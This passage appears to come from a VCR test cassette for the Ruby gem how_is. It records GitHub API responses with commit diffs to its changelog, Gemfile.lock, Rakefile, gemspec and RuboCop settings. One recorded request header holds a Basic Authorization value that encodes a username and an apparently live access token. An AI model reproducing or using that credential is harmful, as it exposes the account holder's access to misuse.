([#128](https://github.com/how-is/how_is/pull/128))\n+**Merged pull requests:**\n \n-## [v16.0.0]\n+- Implement HowIs.from\\_json\\(\\). [\\#126](https://github.com/how-is/how_is/pull/126) ([duckinator](https://github.com/duckinator))\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v16.0.0))\n-makes `HowIs.from_json` actually parse dates.\n+## [v14.0.0](https://github.com/how-is/how_is/tree/v14.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v13.0.0...v14.0.0)\n+\n+**Closed issues:**\n+\n+- Remove dead code [\\#121](https://github.com/how-is/how_is/issues/121)\n+- Update documentation with API changes [\\#118](https://github.com/how-is/how_is/issues/118)\n+- design an API [\\#115](https://github.com/how-is/how_is/issues/115)\n+- correct readme [\\#114](https://github.com/how-is/how_is/issues/114)\n \n-### Changes\n+**Merged pull requests:**\n \n-* Make `HowIs.from_json` parse dates.\n- ([#127](https://github.com/how-is/how_is/pull/127))\n+- Include Pulse data in JSON reports. [\\#125](https://github.com/how-is/how_is/pull/125) ([duckinator](https://github.com/duckinator))\n+- Remove dead code. [\\#123](https://github.com/how-is/how_is/pull/123) ([duckinator](https://github.com/duckinator))\n+- Update README.md about API redesign. [\\#120](https://github.com/how-is/how_is/pull/120) ([duckinator](https://github.com/duckinator))\n+- CHANGELOG typo [\\#119](https://github.com/how-is/how_is/pull/119) ([olleolleolle](https://github.com/olleolleolle))\n \n-## [v15.0.0]\n+## [v13.0.0](https://github.com/how-is/how_is/tree/v13.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v12.0.0...v13.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v15.0.0))\n-implements `HowIs.from_json`.\n+**Closed issues:**\n \n-### Changes\n+- Add ISSUES.md [\\#102](https://github.com/how-is/how_is/issues/102)\n+- Have change log link to tags [\\#100](https://github.com/how-is/how_is/issues/100)\n \n-* Implemented `How_is.from_json`.\n- ([#126](https://github.com/how-is/how_is/pull/126))\n+**Merged pull requests:**\n \n-## [v14.0.0]\n+- API redesign [\\#117](https://github.com/how-is/how_is/pull/117) ([duckinator](https://github.com/duckinator))\n+- Update README.md [\\#113](https://github.com/how-is/how_is/pull/113) ([duckinator](https://github.com/duckinator))\n+- remove pdfs and relax rack version [\\#112](https://github.com/how-is/how_is/pull/112) ([indirect](https://github.com/indirect))\n+- \\[design.md\\] add ''information about how\\_is'' section. [\\#109](https://github.com/how-is/how_is/pull/109) ([duckinator](https://github.com/duckinator))\n+- Specifications [\\#108](https://github.com/how-is/how_is/pull/108) ([duckinator](https://github.com/duckinator))\n+- Have CHANGELOG link to code snapshots. [\\#107](https://github.com/how-is/how_is/pull/107) ([duckinator](https://github.com/duckinator))\n+- Add link for ungrouped issues. [\\#104](https://github.com/how-is/how_is/pull/104) ([duckinator](https://github.com/duckinator))\n+- Add ISSUES.md. [\\#103](https://github.com/how-is/how_is/pull/103) ([duckinator](https://github.com/duckinator))\n+- CLI warning on single-word repository argument [\\#98](https://github.com/how-is/how_is/pull/98) ([olleolleolle](https://github.com/olleolleolle))\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v14.0.0))\n-made JSON reports include Pulse data, thus making `HowIs.from_json()`\n-not make any network requests at all.\n+## [v12.0.0](https://github.com/how-is/how_is/tree/v12.0.0) (2016-12-11)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v11.0.0...v12.0.0)\n \n-### Changes\n+**Closed issues:**\n \n-* Remove dead code. ([#123](https://github.com/how-is/how_is/pull/123))\n-* Include Pulse data in JSON reports.\n- ([#125](https://github.com/how-is/how_is/pull/125))\n+- ZeroDivisionError [\\#91](https://github.com/how-is/how_is/issues/91)\n+- Rake task\\(s\\) for regenerating example reports. [\\#84](https://github.com/how-is/how_is/issues/84)\n+- make issue\\_or\\_pr\\_summary use kwargs [\\#78](https://github.com/how-is/how_is/issues/78)\n+- Define unimplemented BaseReport methods [\\#77](https://github.com/how-is/how_is/issues/77)\n+- Extract BaseReport [\\#76](https://github.com/how-is/how_is/issues/76)\n+- Release v11.0 [\\#75](https://github.com/how-is/how_is/issues/75)\n+- convert average age/oldest/newest to lists [\\#70](https://github.com/how-is/how_is/issues/70)\n+- newest PR/issue [\\#69](https://github.com/how-is/how_is/issues/69)\n \n-## [v13.0.0]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v13.0.0))\n-largely focused on an API redesign.\n+- version bump to 12.0.0 [\\#97](https://github.com/how-is/how_is/pull/97) ([duckinator](https://github.com/duckinator))\n+- rake generate =\\> rake generate\\_reports. [\\#96](https://github.com/how-is/how_is/pull/96) ([duckinator](https://github.com/duckinator))\n+- Rake tasks [\\#94](https://github.com/how-is/how_is/pull/94) ([duckinator](https://github.com/duckinator))\n+- Fix divide by zero when no issues [\\#92](https://github.com/how-is/how_is/pull/92) ([duckinator](https://github.com/duckinator))\n+- Changelog v12.0 [\\#89](https://github.com/how-is/how_is/pull/89) ([duckinator](https://github.com/duckinator))\n+- Refactoring Report + \\*Report. [\\#88](https://github.com/how-is/how_is/pull/88) ([duckinator](https://github.com/duckinator))\n+- Rake tasks [\\#86](https://github.com/how-is/how_is/pull/86) ([duckinator](https://github.com/duckinator))\n+- Newest pr issue attempt 2 [\\#85](https://github.com/how-is/how_is/pull/85) ([duckinator](https://github.com/duckinator))\n+- Convert issue/PR info to a list. [\\#83](https://github.com/how-is/how_is/pull/83) ([duckinator](https://github.com/duckinator))\n+- Improve generated HTML, for easier debugging. [\\#82](https://github.com/how-is/how_is/pull/82) ([duckinator](https://github.com/duckinator))\n+- Update readme [\\#81](https://github.com/how-is/how_is/pull/81) ([duckinator](https://github.com/duckinator))\n+- Define unimplemented methods; make github\\_pulse\\_summary private. [\\#80](https://github.com/how-is/how_is/pull/80) ([duckinator](https://github.com/duckinator))\n+- Extract BaseReport into its own file. [\\#79](https://github.com/how-is/how_is/pull/79) ([duckinator](https://github.com/duckinator))\n \n-Pull requests for this release can be [viewed on\n-GitHub](https://github.com/how-is/how_is/pulls?utf8=&q=is%3Apr%20created%3A2016-12-12..2017-02-09).\n+## [v11.0.0](https://github.com/how-is/how_is/tree/v11.0.0) (2016-11-13)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v10.0.0...v11.0.0)\n \n-### Changed\n+**Closed issues:**\n \n-* API overhaul. ([#115](https://github.com/how-is/how_is/issues/115), [#117](https://github.com/how-is/how_is/pull/117))\n-* Raise an exception/show a CLI warning if the provided repository name\n- isn''t in the \"user/repo\" format.\n- ([#98](https://github.com/how-is/how_is/pull/98))\n+- Failing tests. [\\#68](https://github.com/how-is/how_is/issues/68)\n+- `how\\_is how-is/how\\_is` is broken [\\#61](https://github.com/how-is/how_is/issues/61)\n+- Rename export! to export\\_file [\\#57](https://github.com/how-is/how_is/issues/57)\n+- Remove how\\_is/chart.rb [\\#56](https://github.com/how-is/how_is/issues/56)\n+- Unknown option --report-file referenced in the README [\\#51](https://github.com/how-is/how_is/issues/51)\n+- Specify period for reports [\\#50](https://github.com/how-is/how_is/issues/50)\n+- Handle singular/plural PRs and issues properly [\\#49](https://github.com/how-is/how_is/issues/49)\n+- HTML graph messes up \"\\(No label\\)\" graph label [\\#48](https://github.com/how-is/how_is/issues/48)\n+- Document library usage. [\\#45](https://github.com/how-is/how_is/issues/45)\n+- Use VCR instead of files containing API responses [\\#37](https://github.com/how-is/how_is/issues/37)\n+- Make integration tests not rely on GitHub API [\\#36](https://github.com/how-is/how_is/issues/36)\n+- Integration tests [\\#26](https://github.com/how-is/how_is/issues/26)\n+- Links [\\#18](https://github.com/how-is/how_is/issues/18)\n+- \\[PDF\\] Show labels outside of graph [\\#8](https://github.com/how-is/how_is/issues/8)\n \n-## [v12.0.0]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v12.0.0))\n-largely focused on refactoring and developer experience improvements\n-(e.g. adding Rake tasks and improving the generated JSON and HTML).\n+- Add changelog. [\\#73](https://github.com/how-is/how_is/pull/73) ([duckinator](https://github.com/duckinator))\n+- Fix failing tests. [\\#72](https://github.com/how-is/how_is/pull/72) ([duckinator](https://github.com/duckinator))\n+- Add tests for --help, -h, --version, and -v. [\\#67](https://github.com/how-is/how_is/pull/67) ([duckinator](https://github.com/duckinator))\n+- Test refactoring [\\#66](https://github.com/how-is/how_is/pull/66) ([duckinator](https://github.com/duckinator))\n+- Handle singular/plural PRs and issues correctly. [\\#65](https://github.com/how-is/how_is/pull/65) ([duckinator](https://github.com/duckinator))\n+- Remove duplicate period. [\\#64](https://github.com/how-is/how_is/pull/64) ([duckinator](https://github.com/duckinator))\n+- Handle cases where there are no issues or PRs. [\\#63](https://github.com/how-is/how_is/pull/63) ([duckinator](https://github.com/duckinator))\n+- Fix \"No label\" graph label. [\\#62](https://github.com/how-is/how_is/pull/62) ([duckinator](https://github.com/duckinator))\n+- Rename export! to export\\_file. [\\#60](https://github.com/how-is/how_is/pull/60) ([duckinator](https://github.com/duckinator))\n+- Remove remnants of PDF-related stuff. [\\#59](https://github.com/how-is/how_is/pull/59) ([duckinator](https://github.com/duckinator))\n+- FUCK YEAH DOCUMENTATION [\\#58](https://github.com/how-is/how_is/pull/58) ([duckinator](https://github.com/duckinator))\n+- Specify time period for reports. [\\#55](https://github.com/how-is/how_is/pull/55) ([duckinator](https://github.com/duckinator))\n+- SO LONG, PDF REPORTS. YOU WILL NOT BE MISSED. [\\#54](https://github.com/how-is/how_is/pull/54) ([duckinator](https://github.com/duckinator))\n+- Document Ruby API. [\\#53](https://github.com/how-is/how_is/pull/53) ([duckinator](https://github.com/duckinator))\n+- Update roadmap.markdown [\\#47](https://github.com/how-is/how_is/pull/47) ([duckinator](https://github.com/duckinator))\n+- New roadmap. [\\#46](https://github.com/how-is/how_is/pull/46) ([duckinator](https://github.com/duckinator))\n \n-Pull Requests for this release can be [viewed on\n-GitHub](https://github.com/how-is/how_is/pulls?utf8=&q=is%3Apr%20created%3A2016-11-11..2016-12-11).\n+## [v10.0.0](https://github.com/how-is/how_is/tree/v10.0.0) (2016-09-01)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v9.0.0...v10.0.0)\n \n-### Added\n+**Closed issues:**\n \n-- Include newest PR/issue in reports.\n- ([#85](https://github.com/how-is/how_is/pull/85))\n+- --version is broken [\\#42](https://github.com/how-is/how_is/issues/42)\n+- report generation fails [\\#25](https://github.com/how-is/how_is/issues/25)\n \n-### Changed\n+**Merged pull requests:**\n \n-- Refactoring. ([#79](https://github.com/how-is/how_is/pull/79), [#80](https://github.com/how-is/how_is/pull/80), [#82](https://github.com/how-is/how_is/pull/82), [#88](https://github.com/how-is/how_is/pull/88))\n-- JSON and HTML reports have nicer source.\n- ([#82](https://github.com/how-is/how_is/pulls/82),\n- [#84](https://github.com/how-is/how_is/pulls/84))\n-- Handle generating a report on a repository with no open issues.\n- ([#92](https://github.com/how-is/how_is/pull/92))\n-- Add Rake tasks to make development easier. ([#86](https://github.com/how-is/how_is/pull/86), [#94](https://github.com/how-is/how_is/pull/94), [#96](https://github.com/how-is/how_is/pull/96))\n-- PR/issue info is now displayed as lists instead of paragraphs. ([#83](https://github.com/how-is/how_is/pull/83))\n+- Parser specs [\\#43](https://github.com/how-is/how_is/pull/43) ([duckinator](https://github.com/duckinator))\n \n-## [11.0.0]\n+## [v9.0.0](https://github.com/how-is/how_is/tree/v9.0.0) (2016-08-20)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v8.0.0...v9.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v11.0.0))\n-removed PDF reports, handles more edge cases, and improves tests.\n+**Closed issues:**\n \n-### Added\n+- Help text is outdated. [\\#33](https://github.com/how-is/how_is/issues/33)\n+- `how\\_is rubygems/rubygems` raises contract violation [\\#32](https://github.com/how-is/how_is/issues/32)\n+- Warning when executing how\\_is [\\#29](https://github.com/how-is/how_is/issues/29)\n+- Intermittent off-by-one date error in Analyzer\\#average\\_date\\_for test [\\#21](https://github.com/how-is/how_is/issues/21)\n \n-- Document Ruby API\n+**Merged pull requests:**\n \n-### Changed\n+- We''re not using Cucumber + Aruba. [\\#40](https://github.com/how-is/how_is/pull/40) ([duckinator](https://github.com/duckinator))\n+- Option parser refactor [\\#39](https://github.com/how-is/how_is/pull/39) ([duckinator](https://github.com/duckinator))\n+- Fix first integration test [\\#38](https://github.com/how-is/how_is/pull/38) ([duckinator](https://github.com/duckinator))\n+- Update documentation. [\\#35](https://github.com/how-is/how_is/pull/35) ([duckinator](https://github.com/duckinator))\n+- Fix contract error [\\#34](https://github.com/how-is/how_is/pull/34) ([duckinator](https://github.com/duckinator))\n+- Use the correct config file in integration tests. [\\#31](https://github.com/how-is/how_is/pull/31) ([duckinator](https://github.com/duckinator))\n+- Remove redundant definiton of C. [\\#30](https://github.com/how-is/how_is/pull/30) ([duckinator](https://github.com/duckinator))\n+- Fix Analyzer\\#average\\_age\\_for test. [\\#28](https://github.com/how-is/how_is/pull/28) ([duckinator](https://github.com/duckinator))\n+- Integration tests [\\#27](https://github.com/how-is/how_is/pull/27) ([duckinator](https://github.com/duckinator))\n \n-- Fixed command-line help text (it was incorrect in v10.0.0 and some earlier versions)\n-- Handles generating reports for repositories with no issues and/or no PRs\n-- Handles generating reports for repositories with no activity in the\n- past month\n-- Tests are improved\n-- Tests no longer make actual network requests\n+## [v8.0.0](https://github.com/how-is/how_is/tree/v8.0.0) (2016-07-28)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v7.0.0...v8.0.0)\n \n-### Removed\n+## [v7.0.0](https://github.com/how-is/how_is/tree/v7.0.0) (2016-07-28)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v6.0.0...v7.0.0)\n \n-- PDF reports\n+## [v6.0.0](https://github.com/how-is/how_is/tree/v6.0.0) (2016-07-28)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v5.0.0...v6.0.0)\n \n-## [10.0.0 and earlier]\n+**Merged pull requests:**\n \n-This changelog was started while working on v11.0.0.\n-Prior to that, I have no idea what was added or when.\n+- CLI specs [\\#24](https://github.com/how-is/how_is/pull/24) ([duckinator](https://github.com/duckinator))\n+- Spelling in OptParser help for --config [\\#23](https://github.com/how-is/how_is/pull/23) ([olleolleolle](https://github.com/olleolleolle))\n+\n+## [v5.0.0](https://github.com/how-is/how_is/tree/v5.0.0) (2016-07-21)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v4.0.0...v5.0.0)\n+\n+## [v4.0.0](https://github.com/how-is/how_is/tree/v4.0.0) (2016-07-19)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v3.0.0...v4.0.0)\n+\n+**Closed issues:**\n+\n+- Monthly summary [\\#19](https://github.com/how-is/how_is/issues/19)\n+\n+**Merged pull requests:**\n+\n+- Add text summary. [\\#22](https://github.com/how-is/how_is/pull/22) ([duckinator](https://github.com/duckinator))\n+\n+## [v3.0.0](https://github.com/how-is/how_is/tree/v3.0.0) (2016-07-13)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v2.0.0...v3.0.0)\n+\n+**Closed issues:**\n+\n+- Exception when running `how\\_is duckinator/how\\_is` from master [\\#16](https://github.com/how-is/how_is/issues/16)\n+\n+**Merged pull requests:**\n+\n+- HTML links [\\#20](https://github.com/how-is/how_is/pull/20) ([duckinator](https://github.com/duckinator))\n+\n+## [v2.0.0](https://github.com/how-is/how_is/tree/v2.0.0) (2016-06-27)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v1.0.0...v2.0.0)\n+\n+**Closed issues:**\n+\n+- HTML exports [\\#13](https://github.com/how-is/how_is/issues/13)\n+- When importing from JSON, don''t require repository name as argument. [\\#10](https://github.com/how-is/how_is/issues/10)\n+- Allow export to Ruby objects as well as files [\\#7](https://github.com/how-is/how_is/issues/7)\n+\n+**Merged pull requests:**\n+\n+- HTML graphs [\\#17](https://github.com/how-is/how_is/pull/17) ([duckinator](https://github.com/duckinator))\n+\n+## [v1.0.0](https://github.com/how-is/how_is/tree/v1.0.0) (2016-06-22)\n+**Closed issues:**\n+\n+- Fix failing tests [\\#15](https://github.com/how-is/how_is/issues/15)\n+- Update README [\\#11](https://github.com/how-is/how_is/issues/11)\n+- Find a better name [\\#2](https://github.com/how-is/how_is/issues/2)\n+- Metrics to track [\\#1](https://github.com/how-is/how_is/issues/1)\n+\n+**Merged pull requests:**\n+\n+- waffle.io Badge [\\#14](https://github.com/how-is/how_is/pull/14) ([waffle-iron](https://github.com/waffle-iron))\n+- Executable: Fail faster, use abort [\\#9](https://github.com/how-is/how_is/pull/9) ([olleolleolle](https://github.com/olleolleolle))\n+- Rotate images with MiniMagick [\\#5](https://github.com/how-is/how_is/pull/5) ([olleolleolle](https://github.com/olleolleolle))\n+\n+\n+\n+\\* *This Change Log was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)*\n\\ No newline at end of file"},{"sha":"43524eab3b648355e6d4ee2f44b938564c4ae85e","filename":"Gemfile.lock","status":"modified","additions":27,"deletions":0,"changes":27,"blob_url":"https://github.com/how-is/how_is/blob/27b252d3625d198ded7dee32a86387a8ec613588/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/27b252d3625d198ded7dee32a86387a8ec613588/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=27b252d3625d198ded7dee32a86387a8ec613588","patch":"@@ -10,8 +10,14 @@ PATH\n GEM\n remote: https://rubygems.org/\n specs:\n+ activesupport (5.1.2)\n+ concurrent-ruby (~> 1.0, >= 1.0.2)\n+ i18n (~> 0.7)\n+ minitest (~> 5.1)\n+ tzinfo (~> 1.1)\n addressable (2.4.0)\n ast (2.3.0)\n+ concurrent-ruby (1.0.5)\n contracts (0.16.0)\n crack (0.4.3)\n safe_yaml (~> 1.0.0)\n@@ -22,23 +28,35 @@ GEM\n diff-lcs (1.3)\n faraday (0.9.2)\n multipart-post (>= 1.2, < 3)\n+ faraday-http-cache (2.0.0)\n+ faraday (~> 0.8)\n github_api (0.17.0)\n addressable (~> 2.4.0)\n descendants_tracker (~> 0.0.4)\n faraday (~> 0.8, < 0.10)\n hashie (>= 3.4)\n mime-types (>= 1.16, < 3.0)\n oauth2 (~> 1.0)\n+ github_changelog_generator (1.14.3)\n+ activesupport\n+ faraday-http-cache\n+ multi_json\n+ octokit (~> 4.6)\n+ rainbow (>= 2.1)\n+ rake (>= 10.0)\n+ retriable (~> 2.1)\n hashdiff (0.3.4)\n hashie (3.5.6)\n heresy (4.0.0)\n default (~> 1.0.0)\n heresy-string (~> 1.0.0)\n net-socket (~> 1.0.0)\n heresy-string (1.0.0)\n+ i18n (0.8.6)\n jwt (1.5.6)\n mayhaps (0.3.0)\n mime-types (2.99.3)\n+ minitest (5.10.2)\n multi_json (1.12.1)\n multi_xml (0.6.0)\n multipart-post (2.0.0)\n@@ -49,6 +67,8 @@ GEM\n multi_json (~> 1.3)\n multi_xml (~> 0.5)\n rack (>= 1.2, < 3)\n+ octokit (4.7.0)\n+ sawyer (~> 0.8.0, >= 0.5.3)\n openssl-better_defaults (0.0.1)\n parallel (1.11.2)\n parser (2.4.0.0)\n@@ -58,6 +78,7 @@ GEM\n rainbow (2.2.2)\n rake\n rake (11.3.0)\n+ retriable (2.1.0)\n rspec (3.6.0)\n rspec-core (~> 3.6.0)\n rspec-expectations (~> 3.6.0)\n@@ -80,6 +101,9 @@ GEM\n unicode-display_width (~> 1.0, >= 1.0.1)\n ruby-progressbar (1.8.1)\n safe_yaml (1.0.4)\n+ sawyer (0.8.1)\n+ addressable (>= 2.3.5, < 2.6)\n+ faraday (~> 0.8, < 1.0)\n slop (4.4.3)\n tessellator-fetcher (5.0.1)\n curl_cacert\n@@ -88,6 +112,8 @@ GEM\n openssl-better_defaults\n thread_safe (0.3.6)\n timecop (0.8.1)\n+ tzinfo (1.2.3)\n+ thread_safe (~> 0.1)\n unicode-display_width (1.3.0)\n vcr (3.0.3)\n webmock (3.0.1)\n@@ -100,6 +126,7 @@ PLATFORMS\n \n DEPENDENCIES\n bundler (~> 1.11)\n+ github_changelog_generator\n how_is!\n rake (~> 11.2)\n rspec (~> 3.5)"},{"sha":"9e9cae6978a68a16b61ea4409b3a221a33087f09","filename":"Rakefile","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/27b252d3625d198ded7dee32a86387a8ec613588/Rakefile","raw_url":"https://github.com/how-is/how_is/raw/27b252d3625d198ded7dee32a86387a8ec613588/Rakefile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Rakefile?ref=27b252d3625d198ded7dee32a86387a8ec613588","patch":"@@ -13,6 +13,10 @@ end\n \n task :default => :spec\n \n+task :generate_changelog do\n+ sh ''github_changelog_generator''\n+end\n+\n # Helper functions used later in the Rakefile.\n class HelperFunctions\n def self.freeze_time(&_block)"},{"sha":"bbb3dedd3c80ebd6732cb4bf22d96c159d0f9ea7","filename":"how_is.gemspec","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/27b252d3625d198ded7dee32a86387a8ec613588/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/27b252d3625d198ded7dee32a86387a8ec613588/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=27b252d3625d198ded7dee32a86387a8ec613588","patch":"@@ -32,4 +32,5 @@ Gem::Specification.new do |spec|\n spec.add_development_dependency \"vcr\", \"~> 3.0\"\n spec.add_development_dependency \"webmock\"\n spec.add_development_dependency \"rubocop\", \"~> 0.49.1\"\n+ spec.add_development_dependency \"github_changelog_generator\"\n end"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:38 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3379' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"ab43766499f200648316507a88246db5" Last-Modified: - Sun, 16 Jul 2017 15:31:10 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 804A:7F36:282247:510026:5CC36AE6 body: encoding: ASCII-8BIT string: '{"sha":"b4a24011f4c9a48f533e2abc1f46164d9cd86a45","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjRhMjQwMTFmNGM5YTQ4ZjUzM2UyYWJjMWY0NjE2NGQ5Y2Q4NmE0NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:31:10Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:31:10Z"},"message":"Merge pull request #174 from olleolleolle/fix/update-rubocop-to-latest\n\nRubocop 0.49.1","tree":{"sha":"bae15ff5cbbdd44d18942b037f3098cb890a3bd2","url":"https://api.github.com/repos/how-is/how_is/git/trees/bae15ff5cbbdd44d18942b037f3098cb890a3bd2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","html_url":"https://github.com/how-is/how_is/commit/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"47d3346d5402c1f1084978b22956324af6860f80","url":"https://api.github.com/repos/how-is/how_is/commits/47d3346d5402c1f1084978b22956324af6860f80","html_url":"https://github.com/how-is/how_is/commit/47d3346d5402c1f1084978b22956324af6860f80"},{"sha":"5d095a66c973e014b916112da522d39744a8aac9","url":"https://api.github.com/repos/how-is/how_is/commits/5d095a66c973e014b916112da522d39744a8aac9","html_url":"https://github.com/how-is/how_is/commit/5d095a66c973e014b916112da522d39744a8aac9"}],"stats":{"total":72,"additions":43,"deletions":29},"files":[{"sha":"5d467be36a655141d2c34fab3d02f3cd964aa75e","filename":".rubocop.yml","status":"modified","additions":17,"deletions":6,"changes":23,"blob_url":"https://github.com/how-is/how_is/blob/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=b4a24011f4c9a48f533e2abc1f46164d9cd86a45","patch":"@@ -40,7 +40,7 @@ Style/Alias:\n EnforcedStyle: prefer_alias_method\n \n # Most readable form.\n-Style/AlignHash:\n+Layout/AlignHash:\n EnforcedHashRocketStyle: table\n EnforcedColonStyle: table\n # Disable because it wound up conflicting with a lot of things like:\n@@ -52,7 +52,7 @@ Style/AlignHash:\n # addressed.\n Enabled: false\n \n-Style/AlignParameters:\n+Layout/AlignParameters:\n # See Style/AlignedHash.\n Enabled: false\n \n@@ -76,7 +76,7 @@ Style/Encoding:\n Enabled: true\n \n # Force Unix line endings.\n-Style/EndOfLine:\n+Layout/EndOfLine:\n Enabled: true\n EnforcedStyle: lf\n \n@@ -87,9 +87,20 @@ Style/EndOfLine:\n # foobar = ''blah''\n # baz = ''asdf''\n # beep = ''boop''\n-Style/ExtraSpacing:\n+Layout/ExtraSpacing:\n Enabled: false\n \n+# # bad\n+#\n+# format(''%s'', greeting: ''Hello'')\n+# format(''%s'', ''Hello'')\n+#\n+# # good\n+#\n+# format(''%{greeting}'', greeting: ''Hello'')\n+Style/FormatStringToken:\n+ EnforcedStyle: template\n+\n # Freeze string literals to future-proof the code.\n # TODO: Enable this always. (Disabled due to not knowing what will happen.)\n Style/FrozenStringLiteralComment:\n@@ -135,11 +146,11 @@ Style/MethodCalledOnDoEndBlock:\n \n # Indenting the chained dots beneath each other is not supported by this cop,\n # see https://github.com/bbatsov/rubocop/issues/1633\n-Style/MultilineOperationIndentation:\n+Layout/MultilineOperationIndentation:\n Enabled: false\n \n # {''foo'' => ''bar''} not { ''foo'' => ''bar'' }\n-Style/SpaceInsideHashLiteralBraces:\n+Layout/SpaceInsideHashLiteralBraces:\n Enabled: true\n EnforcedStyle: no_space\n "},{"sha":"6ffeab959cdf438bc4b5f33abeffd1d6edde8a73","filename":"Gemfile.lock","status":"modified","additions":4,"deletions":2,"changes":6,"blob_url":"https://github.com/how-is/how_is/blob/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=b4a24011f4c9a48f533e2abc1f46164d9cd86a45","patch":"@@ -50,6 +50,7 @@ GEM\n 